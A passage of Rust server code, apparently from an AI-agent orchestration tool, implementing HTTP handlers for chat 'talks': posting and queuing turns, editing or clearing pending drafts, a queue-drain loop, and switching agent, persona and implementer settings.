8069 .collect();
8070 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8071 .pending_messages
8072 .iter()
8073 .map(|message| {
8074 notice_markdown(
8075 message.sender.unwrap_or(talk::Sender::Operator),
8076 &message.body,
8077 message.display.as_ref(),
8078 )
8079 })
8080 .collect();
8081 for nodes in &mut turn_bodies_md {
8082 references.markdown(nodes);
8083 }
8084 for nodes in turn_messages_md
8085 .iter_mut()
8086 .flatten()
8087 .chain(pending_messages_md.iter_mut())
8088 .flatten()
8089 {
8090 references.markdown(nodes);
8091 }
8092 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8093 let persona_name = persona::find(specs, &talk.persona)
8094 .filter(|p| !p.is_default())
8095 .map(|p| p.name);
8096 let mut avatar_persona = persona::find(specs, &talk.persona)
8097 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8098 if avatar_persona.id != talk.persona
8100 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8101 {
8102 avatar_persona.id.clone_from(&talk.persona);
8103 avatar_persona.icon = None;
8104 }
8105 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8106 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8107 Self {
8108 turn_bodies_md,
8109 turn_messages_md,
8110 pending_messages_md,
8111 thinking,
8112 context,
8113 operator_name,
8114 persona_name,
8115 persona_avatar,
8116 magi_avatar: magi_icon_url(home),
8117 operator_avatar: operator_icon_url(home),
8118 talk,
8119 }
8120 }
8121}
8122
8123fn notice_markdown(
8125 sender: talk::Sender,
8126 body: &str,
8127 display: Option<&crate::prompt::NoticeDisplay>,
8128) -> Option<Vec<md::Node>> {
8129 if sender != talk::Sender::Magi {
8130 return None;
8131 }
8132 let text = if let Some(display) = display {
8133 display.facts.as_str()
8134 } else {
8135 if crate::prompt::is_completion_notice(body)
8138 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8139 {
8140 return None;
8141 }
8142 body.strip_prefix("magi: ").unwrap_or(body)
8143 };
8144 Some(md::to_nodes(text, &md::ImageBase::None))
8145}
8146
8147#[derive(Debug, Serialize)]
8152struct TalkDetailView {
8153 #[serde(flatten)]
8154 view: TalkView,
8155 tasks: Vec<TaskView>,
8156 task_progress: TalkTaskProgress,
8157 roster: Vec<RosterEntry>,
8160 personas: Vec<PersonaEntry>,
8163}
8164
8165#[derive(Debug, Serialize)]
8167struct TalkTaskProgress {
8168 state: &'static str,
8169 total: usize,
8170 done: usize,
8171 counts: std::collections::BTreeMap<&'static str, usize>,
8172 unfinished_ids: Vec<String>,
8173}
8174
8175fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8176 let mut counts = std::collections::BTreeMap::from([
8177 ("queued", 0),
8178 ("running", 0),
8179 ("done", 0),
8180 ("failed", 0),
8181 ("held", 0),
8182 ("blocked", 0),
8183 ("parked", 0),
8184 ]);
8185 let mut unfinished_ids = Vec::new();
8186 for task in tasks {
8187 *counts.entry(task.status.as_str()).or_default() += 1;
8188 if task.status != TaskStatus::Done {
8189 unfinished_ids.push(task.id.clone());
8190 }
8191 }
8192 TalkTaskProgress {
8193 state: if tasks.is_empty() {
8194 "none"
8195 } else if unfinished_ids.is_empty() {
8196 "complete"
8197 } else {
8198 "incomplete"
8199 },
8200 total: tasks.len(),
8201 done: tasks.len() - unfinished_ids.len(),
8202 counts,
8203 unfinished_ids,
8204 }
8205}
8206
8207#[derive(Debug, Serialize)]
8209struct PersonaEntry {
8210 id: String,
8211 name: String,
8212 avatar: String,
8214}
8215
8216#[derive(Debug, Serialize)]
8218struct RosterEntry {
8219 id: String,
8220 kind: AgentKind,
8221 runnable: bool,
8223}
8224
8225async fn talks_list(
8230 State(ui): State<Arc<Ui>>,
8231 Query(q): Query<ListQuery>,
8232) -> ApiResult<Json<Vec<TalkView>>> {
8233 blocking(move || {
8234 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8235 let talks = q.ids.as_ref().map_or_else(
8236 || ui.talks.list(),
8237 |ids| {
8238 ids.split(',')
8239 .filter(|id| plain_record_id(id))
8240 .filter_map(|id| ui.talks.get(id).ok())
8241 .collect()
8242 },
8243 );
8244 let references = if talks.iter().any(id_links::has_references) {
8245 ui.references.get(
8246 &ui.runs,
8247 &ui.queue,
8248 &ui.questions,
8249 &ui.talks,
8250 talks.iter().any(id_links::has_findings),
8251 )
8252 } else {
8253 Arc::new(id_links::IdIndex::default())
8254 };
8255 Ok(Json(
8256 talks
8257 .into_iter()
8258 .filter(|talk| q.contains(&talk.id))
8259 .map(|talk| {
8260 let thinking = ui.is_thinking(&talk.id);
8261 let cfg = configs
8262 .entry(talk.repo.clone())
8263 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8264 TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8265 })
8266 .collect(),
8267 ))
8268 })
8269 .await
8270}
8271
8272#[derive(Debug, Default, Deserialize)]
8277#[serde(default)]
8278struct NewTalk {
8279 agent: Option<String>,
8280 repo: Option<PathBuf>,
8281 preferred_agent: Option<serde_json::Value>,
8285 persona: Option<serde_json::Value>,
8286 implementers: Option<serde_json::Value>,
8287}
8288
8289async fn talk_post(
8292 State(ui): State<Arc<Ui>>,
8293 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8294) -> ApiResult<impl IntoResponse> {
8295 let body = match body {
8299 Ok(Json(body)) => body,
8300 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8301 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8302 };
8303 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8304 let cfg = config_for(&repo).await?;
8305 let view = blocking(move || {
8306 let preferred = talk::Preferred {
8307 agent: body
8308 .preferred_agent
8309 .as_ref()
8310 .and_then(|v| v.as_str())
8311 .map(str::to_owned),
8312 persona: body
8313 .persona
8314 .as_ref()
8315 .and_then(|v| v.as_str())
8316 .map(str::to_owned),
8317 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8318 };
8319 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8320 let thinking = ui.is_thinking(&talk.id);
8321 Ok(TalkView::new(talk, thinking, &ui))
8322 })
8323 .await?;
8324 Ok((StatusCode::CREATED, Json(view)))
8325}
8326
8327async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8329 blocking(move || {
8330 let id = resolve_talk(&ui.talks, &id)?;
8331 let talk = ui.talks.get(&id)?;
8332 let thinking = ui.is_thinking(&id);
8333 Ok(Json(TalkView::with_config(
8334 talk,
8335 thinking,
8336 None,
8337 &ui.home,
8338 &ui.references,
8339 )))
8340 })
8341 .await
8342}
8343
8344async fn talk_sections(
8345 State(ui): State<Arc<Ui>>,
8346 Path(id): Path<String>,
8347) -> ApiResult<Json<serde_json::Value>> {
8348 blocking(move || {
8349 let id = resolve_talk(&ui.talks, &id)?;
8350 let talk = ui.talks.get(&id)?;
8351 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8352 let task_progress = talk_task_progress(&tasks);
8353 let tasks: Vec<_> = tasks
8354 .into_iter()
8355 .map(|task| {
8356 serde_json::json!({
8357 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8358 })
8359 })
8360 .collect();
8361 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8362 let roster: Vec<_> = cfg
8363 .as_ref()
8364 .map(|cfg| {
8365 cfg.agents
8366 .iter()
8367 .map(|a| RosterEntry {
8368 id: a.id.clone(),
8369 kind: a.kind,
8370 runnable: agent::installed(a),
8371 })
8372 .collect()
8373 })
8374 .unwrap_or_default();
8375 let specs = cfg
8376 .as_ref()
8377 .map(|cfg| cfg.talk.personas.clone())
8378 .unwrap_or_default();
8379 let personas: Vec<_> = persona::catalog(&specs)
8380 .into_iter()
8381 .map(|p| PersonaEntry {
8382 avatar: avatar_url(&ui.home, &talk.id, &p),
8383 id: p.id,
8384 name: p.name,
8385 })
8386 .collect();
8387 let active_persona = persona::find(&specs, &talk.persona)
8388 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8389 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8390 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8391 Ok(Json(serde_json::json!({
8392 "tasks": tasks, "task_progress": task_progress,
8393 "roster": roster, "personas": personas,
8394 "context": talk::context_usage(&talk, cfg.as_ref()),
8395 "context_for": talk.updated_at,
8396 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8397 "persona_name": persona_name,
8398 "persona_avatar": persona_avatar,
8399 })))
8400 })
8401 .await
8402}
8403
8404async fn talk_detail(
8406 State(ui): State<Arc<Ui>>,
8407 Path(id): Path<String>,
8408) -> ApiResult<Json<TalkDetailView>> {
8409 blocking(move || {
8410 let id = resolve_talk(&ui.talks, &id)?;
8411 let talk = ui.talks.get(&id)?;
8412 let thinking = ui.is_thinking(&talk.id);
8413 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8414 let task_progress = talk_task_progress(&tasks);
8415 let tasks = tasks.into_iter().map(TaskView::from).collect();
8416 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8417 let roster = cfg
8418 .as_ref()
8419 .map(|cfg| {
8420 cfg.agents
8421 .iter()
8422 .map(|a| RosterEntry {
8423 id: a.id.clone(),
8424 kind: a.kind,
8425 runnable: agent::installed(a),
8426 })
8427 .collect()
8428 })
8429 .unwrap_or_default();
8430 let specs = cfg
8431 .as_ref()
8432 .map(|cfg| cfg.talk.personas.clone())
8433 .unwrap_or_default();
8434 let personas = persona::catalog(&specs)
8435 .into_iter()
8436 .map(|p| PersonaEntry {
8437 avatar: avatar_url(&ui.home, &talk.id, &p),
8438 id: p.id,
8439 name: p.name,
8440 })
8441 .collect();
8442 Ok(Json(TalkDetailView {
8443 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8444 tasks,
8445 task_progress,
8446 roster,
8447 personas,
8448 }))
8449 })
8450 .await
8451}
8452
8453#[derive(Debug, Default, Deserialize)]
8459#[serde(default, deny_unknown_fields)]
8460struct NewTalkTurn {
8461 reply_to: Option<talk::ReplyTarget>,
8462 text: String,
8463 attachments: Vec<String>,
8464}
8465
8466#[derive(Debug, Deserialize)]
8467#[serde(deny_unknown_fields)]
8468struct EditTalkPending {
8469 #[serde(default)]
8470 message: Option<usize>,
8471 text: String,
8472 expected_text: String,
8473 expected_attachments: Vec<String>,
8474}
8475
8476#[derive(Debug, Deserialize)]
8477#[serde(deny_unknown_fields)]
8478struct ClearTalkPending {
8479 expected_text: String,
8480 expected_attachments: Vec<String>,
8481}
8482
8483async fn talk_say(
8495 State(ui): State<Arc<Ui>>,
8496 Path(id): Path<String>,
8497 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8498) -> ApiResult<(StatusCode, Json<TalkView>)> {
8499 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8500 if body.text.trim().is_empty() && body.attachments.is_empty() {
8501 return Err(ApiError::bad_request("say something"));
8502 }
8503
8504 let id = {
8505 let ui = Arc::clone(&ui);
8506 let asked = id.clone();
8507 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8508 };
8509 {
8513 let ui = Arc::clone(&ui);
8514 let id = id.clone();
8515 blocking(move || {
8516 let talk = ui.talks.get(&id)?;
8517 if !talk.status.open() {
8518 return Err(ApiError::conflict(format!(
8519 "talk {} is {} and takes no more turns",
8520 talk.short(),
8521 talk.status.as_str()
8522 )));
8523 }
8524 Ok(())
8525 })
8526 .await?;
8527 }
8528
8529 let attachments = {
8534 let ui = Arc::clone(&ui);
8535 let id = id.clone();
8536 let ids = body.attachments.clone();
8537 blocking(move || {
8538 ids.into_iter()
8539 .map(|att_id| {
8540 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8541 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8542 })
8543 })
8544 .collect::<ApiResult<Vec<talk::Attachment>>>()
8545 })
8546 .await?
8547 };
8548
8549 let start = {
8554 let ui = Arc::clone(&ui);
8555 let id = id.clone();
8556 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8557 };
8558 let turn_guard = match start {
8559 TalkTurnStart::Claimed(turn_guard) => turn_guard,
8560 TalkTurnStart::Pending => {
8561 return Err(ApiError::conflict(
8562 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8563 ));
8564 }
8565 TalkTurnStart::Foreign => {
8566 return Err(ApiError::conflict(
8567 "a turn is already running in another process; try again when it has finished",
8568 ));
8569 }
8570 TalkTurnStart::Busy => {
8571 let (tx, rx) = tokio::sync::oneshot::channel();
8587 tokio::spawn({
8588 let ui = Arc::clone(&ui);
8589 let id = id.clone();
8590 let said = body.text.clone();
8591 let reply_to = body.reply_to.clone();
8592 async move {
8593 let written = blocking({
8594 let ui = Arc::clone(&ui);
8595 let id = id.clone();
8596 move || {
8597 let mut talk = ui.talks.get(&id)?;
8598 #[cfg(test)]
8603 if let Some(gate) = ui
8604 .busy_queue_gate
8605 .lock()
8606 .unwrap_or_else(PoisonError::into_inner)
8607 .take()
8608 {
8609 let _ = gate.reached.send(());
8610 let _ = gate.release.recv();
8611 }
8612 if let Err(error) = talk::queue_reply(
8613 &mut talk,
8614 &ui.talks,
8615 &said,
8616 attachments,
8617 reply_to,
8618 ) {
8619 if let Ok(fresh) = ui.talks.get(&id) {
8620 if !fresh.status.open() {
8621 return Err(ApiError::conflict(format!(
8622 "talk {} is {} and takes no more turns",
8623 fresh.short(),
8624 fresh.status.as_str()
8625 )));
8626 }
8627 }
8628 return Err(
8629 if error.to_string().contains("invalid reply target") {
8630 ApiError::bad_request("invalid reply target")
8631 } else {
8632 ApiError::from(error)
8633 },
8634 );
8635 }
8636 let claim = match ui.begin_queued_talk_turn(&id)? {
8647 Some(turn_guard) => {
8648 let (cfg, _) = Config::discover(&talk.repo, None)?;
8649 Some((talk.clone(), cfg, turn_guard))
8650 }
8651 None => None,
8652 };
8653 let thinking = ui.is_thinking(&id);
8654 Ok((TalkView::new(talk, thinking, &ui), claim))
8655 }
8656 })
8657 .await;
8658 let (view, reclaimed) = match written {
8659 Ok(pair) => pair,
8660 Err(e) => {
8661 let _ = tx.send(Err(e));
8666 return;
8667 }
8668 };
8669 let _ = tx.send(Ok(view));
8672 if let Some((talk, cfg, turn_guard)) = reclaimed {
8673 let talks = ui.talks.clone();
8674 drain_loop(talk, talks, cfg, id, turn_guard).await;
8675 }
8676 }
8677 });
8678 let view = rx
8679 .await
8680 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8681 return Ok((StatusCode::ACCEPTED, Json(view)));
8682 }
8683 };
8684
8685 let (talk, cfg) = {
8686 let ui = Arc::clone(&ui);
8687 let id = id.clone();
8688 blocking(move || {
8689 let talk = ui.talks.get(&id)?;
8690 let (cfg, _) = Config::discover(&talk.repo, None)?;
8691 Ok((talk, cfg))
8692 })
8693 .await?
8694 };
8695
8696 let talks = ui.talks.clone();
8697 let (tx, rx) = tokio::sync::oneshot::channel();
8712 tokio::spawn({
8713 let ui = Arc::clone(&ui);
8714 let talks = talks.clone();
8715 let id = id.clone();
8716 let said = body.text.clone();
8717 let reply_to = body.reply_to.clone();
8718 let mut talk = talk.clone();
8719 async move {
8720 let recorded = blocking({
8721 let talks = talks.clone();
8722 move || {
8723 if let Err(error) =
8724 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8725 {
8726 if let Ok(fresh) = talks.get(&talk.id) {
8727 if !fresh.status.open() {
8728 return Err(ApiError::conflict(format!(
8729 "talk {} is {} and takes no more turns",
8730 fresh.short(),
8731 fresh.status.as_str()
8732 )));
8733 }
8734 }
8735 return Err(if error.to_string().contains("invalid reply target") {
8736 ApiError::bad_request("invalid reply target")
8737 } else {
8738 ApiError::from(error)
8739 });
8740 }
8741 Ok((said.trim().to_owned(), talk))
8747 }
8748 })
8749 .await;
8750 let (text, mut talk) = match recorded {
8751 Ok(pair) => pair,
8752 Err(e) => {
8753 let _ = tx.send(Err(e));
8757 return;
8758 }
8759 };
8760 let queued = talk.clone();
8761 let thinking = ui.is_thinking(&id);
8762 let _ = tx.send(Ok((queued, thinking)));
8765
8766 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8767 tracing::warn!("talk {id} turn failed: {e:#}");
8771 }
8772 drain_loop(talk, talks, cfg, id, turn_guard).await;
8775 }
8776 });
8777
8778 let (queued, thinking) = rx
8779 .await
8780 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8781
8782 Ok((
8784 StatusCode::ACCEPTED,
8785 Json(TalkView::new(queued, thinking, &ui)),
8786 ))
8787}
8788
8789async fn talk_pending_resume(
8793 State(ui): State<Arc<Ui>>,
8794 Path(id): Path<String>,
8795) -> ApiResult<(StatusCode, Json<TalkView>)> {
8796 let id = {
8797 let ui = Arc::clone(&ui);
8798 let asked = id.clone();
8799 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8800 };
8801 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8802 return Err(ApiError::conflict(
8803 "a talk turn is already running; the queued draft will be handled by it",
8804 ));
8805 };
8806 let (talk, cfg) = {
8807 let ui = Arc::clone(&ui);
8808 let id = id.clone();
8809 blocking(move || {
8810 let talk = ui.talks.get(&id)?;
8811 if !talk.status.open() {
8812 return Err(ApiError::conflict(format!(
8813 "talk {} is {} and takes no more turns",
8814 talk.short(),
8815 talk.status.as_str()
8816 )));
8817 }
8818 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8819 return Err(ApiError::conflict("there is no queued draft to resume"));
8820 }
8821 let (cfg, _) = Config::discover(&talk.repo, None)?;
8822 Ok((talk, cfg))
8823 })
8824 .await?
8825 };
8826 let view = TalkView::new(talk.clone(), true, &ui);
8827 let talks = ui.talks.clone();
8828 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8829 Ok((StatusCode::ACCEPTED, Json(view)))
8830}
8831
8832async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8848 drain_loop_started(talk, talks, cfg, id, turn, None).await;
8849}
8850
8851async fn settle_settings_turn(
8855 talk: Talk,
8856 talks: Talks,
8857 cfg: Config,
8858 id: String,
8859 turn: TalkTurnGuard,
8860 observed: u64,
8861) -> bool {
8862 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8863 let turns = Arc::clone(&turn.turns);
8864 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8865 if live.queued.get(&id).copied().unwrap_or(0) == observed {
8866 turn.release(&mut live);
8868 return false;
8869 }
8870 }
8871 let (started, settled) = tokio::sync::oneshot::channel();
8872 tokio::spawn(drain_loop_started(
8873 talk,
8874 talks,
8875 cfg,
8876 id,
8877 turn,
8878 Some(started),
8879 ));
8880 settled.await.unwrap_or(false)
8881}
8882
8883async fn drain_loop_started(
8884 mut talk: Talk,
8885 talks: Talks,
8886 cfg: Config,
8887 id: String,
8888 turn: TalkTurnGuard,
8889 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8890) {
8891 let live_set = Arc::clone(&turn.turns);
8892 let mut turn = Some(turn);
8900 loop {
8901 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8902 tracing::warn!("talk {id} lost its turn lease; not draining further");
8905 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8906 if let Some(turn) = turn.take() {
8907 turn.release(&mut live);
8908 }
8909 break;
8910 }
8911 {
8912 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8915 if live.parking {
8916 if let Some(turn) = turn.take() {
8917 turn.release(&mut live);
8918 }
8919 break;
8920 }
8921 }
8922 let observed = live_set
8926 .lock()
8927 .unwrap_or_else(PoisonError::into_inner)
8928 .queued
8929 .get(&id)
8930 .copied()
8931 .unwrap_or(0);
8932 let drained = blocking({
8933 let talks = talks.clone();
8934 let live_set = Arc::clone(&live_set);
8935 move || {
8936 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8941 let result = if live.parking {
8942 Ok(None)
8943 } else {
8944 talk::drain(&mut talk, &talks)
8945 };
8946 drop(live);
8947 Ok((talk, result))
8948 }
8949 })
8950 .await;
8951 let (next_talk, result) = match drained {
8952 Ok(drained) => drained,
8953 Err(e) => {
8954 tracing::warn!(
8955 status = %e.status,
8956 message = %e.message,
8957 "talk {id} could not start queued-text drain"
8958 );
8959 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8960 turn.take()
8961 .expect("held for the whole loop until released here")
8962 .release(&mut live);
8963 break;
8964 }
8965 };
8966 talk = next_talk;
8967 let drained = match result {
8968 Ok(Some(drained)) => drained,
8969 Ok(None) => {
8970 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8971 if live.queued.get(&id).copied().unwrap_or(0) != observed {
8972 continue;
8973 }
8974 turn.take()
8975 .expect("held for the whole loop until released here")
8976 .release(&mut live);
8977 break;
8978 }
8979 Err(e) => {
8980 tracing::warn!("talk {id} could not drain queued text: {e:#}");
8981 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8982 turn.take()
8983 .expect("held for the whole loop until released here")
8984 .release(&mut live);
8985 break;
8986 }
8987 };
8988 if let Some(started) = started.take() {
8989 let _ = started.send(true);
8990 }
8991 let responded = match turn.as_ref() {
8992 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8993 None => Err(anyhow::anyhow!("the turn guard was released")),
8994 };
8995 if let Err(e) = responded {
8996 tracing::warn!("talk {id} turn failed: {e:#}");
8997 }
8998 }
8999 drop(turn);
9000 if let Some(started) = started {
9001 let _ = started.send(false);
9002 }
9003}
9004
9005async fn talk_pending_clear(
9007 State(ui): State<Arc<Ui>>,
9008 Path(id): Path<String>,
9009 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9010) -> ApiResult<Json<TalkView>> {
9011 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9012 blocking(move || {
9013 let id = resolve_talk(&ui.talks, &id)?;
9014 let mut talk = ui.talks.get(&id)?;
9015 if !talk.status.open() {
9016 return Err(ApiError::conflict(format!(
9017 "talk {} is {} and takes no more turns",
9018 talk.short(),
9019 talk.status.as_str()
9020 )));
9021 }
9022 if !talk::clear_pending_if_matches(
9023 &mut talk,
9024 &ui.talks,
9025 &body.expected_text,
9026 &body.expected_attachments,
9027 )? {
9028 return Err(ApiError::conflict(
9029 "queued message changed; reload it before clearing",
9030 ));
9031 }
9032 let thinking = ui.is_thinking(&talk.id);
9033 Ok(Json(TalkView::new(talk, thinking, &ui)))
9034 })
9035 .await
9036}
9037
9038async fn talk_pending_edit(
9042 State(ui): State<Arc<Ui>>,
9043 Path(id): Path<String>,
9044 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9045) -> ApiResult<Json<TalkView>> {
9046 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9047 let (view, reclaimed) = blocking({
9048 let ui = Arc::clone(&ui);
9049 move || {
9050 let id = resolve_talk(&ui.talks, &id)?;
9051 let mut talk = ui.talks.get(&id)?;
9052 if !talk.status.open() {
9053 return Err(ApiError::conflict(format!(
9054 "talk {} is {} and takes no more turns",
9055 talk.short(),
9056 talk.status.as_str()
9057 )));
9058 }
9059 if !talk::edit_pending_message(
9060 &mut talk,
9061 &ui.talks,
9062 &body.text,
9063 &body.expected_text,
9064 &body.expected_attachments,
9065 body.message,
9066 )? {
9067 return Err(ApiError::conflict(
9068 "queued message changed; reload it before editing",
9069 ));
9070 }
9071 let claim = match ui.begin_queued_talk_turn(&id)? {
9072 Some(turn_guard) => {
9073 let (cfg, _) = Config::discover(&talk.repo, None)?;
9074 Some((talk.clone(), cfg, id.clone(), turn_guard))
9075 }
9076 None => None,
9077 };
9078 let thinking = ui.is_thinking(&id);
9079 Ok((TalkView::new(talk, thinking, &ui), claim))
9080 }
9081 })
9082 .await?;
9083 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9084 let talks = ui.talks.clone();
9085 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9086 }
9087 Ok(Json(view))
9088}
9089
9090fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9092 if talk.status.open() {
9093 return Ok(());
9094 }
9095 Err(ApiError::conflict(format!(
9096 "talk {} is {} and takes no more turns",
9097 talk.short(),
9098 talk.status.as_str()
9099 )))
9100}
9101
9102#[derive(Debug, Deserialize)]
9104struct TalkAgent {
9105 agent: String,
9106}
9107
9108async fn talk_agent(
9113 State(ui): State<Arc<Ui>>,
9114 Path(id): Path<String>,
9115 Json(body): Json<TalkAgent>,
9116) -> ApiResult<Json<TalkView>> {
9117 let id = {
9118 let ui = Arc::clone(&ui);
9119 blocking(move || resolve_talk(&ui.talks, &id)).await?
9120 };
9121 let repo = {
9122 let ui = Arc::clone(&ui);
9123 let id = id.clone();
9124 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9125 };
9126 let cfg = config_for(&repo).await?;
9127 {
9129 let ui = Arc::clone(&ui);
9130 let id = id.clone();
9131 let cfg = cfg.clone();
9132 let wanted = body.agent.clone();
9133 blocking(move || {
9134 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9135 .map_err(ApiError::bad_request_from)?;
9136 refuse_if_closed(&ui.talks.get(&id)?)
9137 })
9138 .await?;
9139 }
9140 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9141 return Err(ApiError::conflict(
9142 "a talk turn is running; change the agent once it has answered",
9143 ));
9144 };
9145 let switched = {
9146 let ui = Arc::clone(&ui);
9147 let id = id.clone();
9148 let cfg = cfg.clone();
9149 blocking(move || {
9150 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9151 .map_err(ApiError::bad_request_from)?;
9152 let mut talk = ui.talks.get(&id)?;
9153 if !talk.status.open() {
9154 return Err(ApiError::conflict(format!(
9155 "talk {} is {} and takes no more turns",
9156 talk.short(),
9157 talk.status.as_str()
9158 )));
9159 }
9160 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9161 Ok(talk)
9162 })
9163 .await
9164 };
9165 let observed = ui.queued_generation(&id);
9170 let fresh = {
9171 let ui = Arc::clone(&ui);
9172 let id = id.clone();
9173 blocking(move || Ok(ui.talks.get(&id)?)).await
9174 };
9175 let draining = match fresh {
9176 Ok(talk) => {
9177 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9178 }
9179 Err(_) => false,
9180 };
9181 let talk = switched?;
9182 Ok(Json(TalkView::new(talk, draining, &ui)))
9183}
9184
9185#[derive(Debug, Deserialize)]
9187struct TalkPersona {
9188 persona: String,
9189}
9190
9191async fn talk_persona(
9195 State(ui): State<Arc<Ui>>,
9196 Path(id): Path<String>,
9197 Json(body): Json<TalkPersona>,
9198) -> ApiResult<Json<TalkView>> {
9199 let id = {
9200 let ui = Arc::clone(&ui);
9201 blocking(move || resolve_talk(&ui.talks, &id)).await?
9202 };
9203 let repo = {
9204 let ui = Arc::clone(&ui);
9205 let id = id.clone();
9206 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9207 };
9208 let cfg = config_for(&repo).await?;
9209 {
9211 let ui = Arc::clone(&ui);
9212 let id = id.clone();
9213 let cfg = cfg.clone();
9214 let wanted = body.persona.clone();
9215 blocking(move || {
9216 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9217 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9218 }
9219 refuse_if_closed(&ui.talks.get(&id)?)
9220 })
9221 .await?;
9222 }
9223 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9224 return Err(ApiError::conflict(
9225 "a talk turn is running; change the persona once it has answered",
9226 ));
9227 };
9228 let switched = {
9229 let ui = Arc::clone(&ui);
9230 let id = id.clone();
9231 let cfg = cfg.clone();
9232 blocking(move || {
9233 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9234 return Err(ApiError::bad_request(format!(
9235 "unknown persona `{}`",
9236 body.persona
9237 )));
9238 };
9239 let mut talk = ui.talks.get(&id)?;
9240 if !talk.status.open() {
9241 return Err(ApiError::conflict(format!(
9242 "talk {} is {} and takes no more turns",
9243 talk.short(),
9244 talk.status.as_str()
9245 )));
9246 }
9247 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9248 Ok(talk)
9249 })
9250 .await
9251 };
9252 let observed = ui.queued_generation(&id);
9254 let fresh = {
9255 let ui = Arc::clone(&ui);
9256 let id = id.clone();
9257 blocking(move || Ok(ui.talks.get(&id)?)).await
9258 };
9259 let draining = match fresh {
9260 Ok(talk) => {
9261 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9262 }
9263 Err(_) => false,
9264 };
9265 let talk = switched?;
9266 Ok(Json(TalkView::new(talk, draining, &ui)))
9267}
9268
9269#[derive(Debug, Deserialize)]
9271struct TalkImplementers {
9272 implementers: u8,
9273}
9274
9275async fn talk_implementers(
9279 State(ui): State<Arc<Ui>>,
9280 Path(id): Path<String>,
9281 Json(body): Json<TalkImplementers>,
9282) -> ApiResult<Json<TalkView>> {
9283 let id = {
9284 let ui = Arc::clone(&ui);
9285 blocking(move || resolve_talk(&ui.talks, &id)).await?
9286 };
9287 let repo = {
9288 let ui = Arc::clone(&ui);
9289 let id = id.clone();
9290 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9291 };
9292 let cfg = config_for(&repo).await?;
9293 {
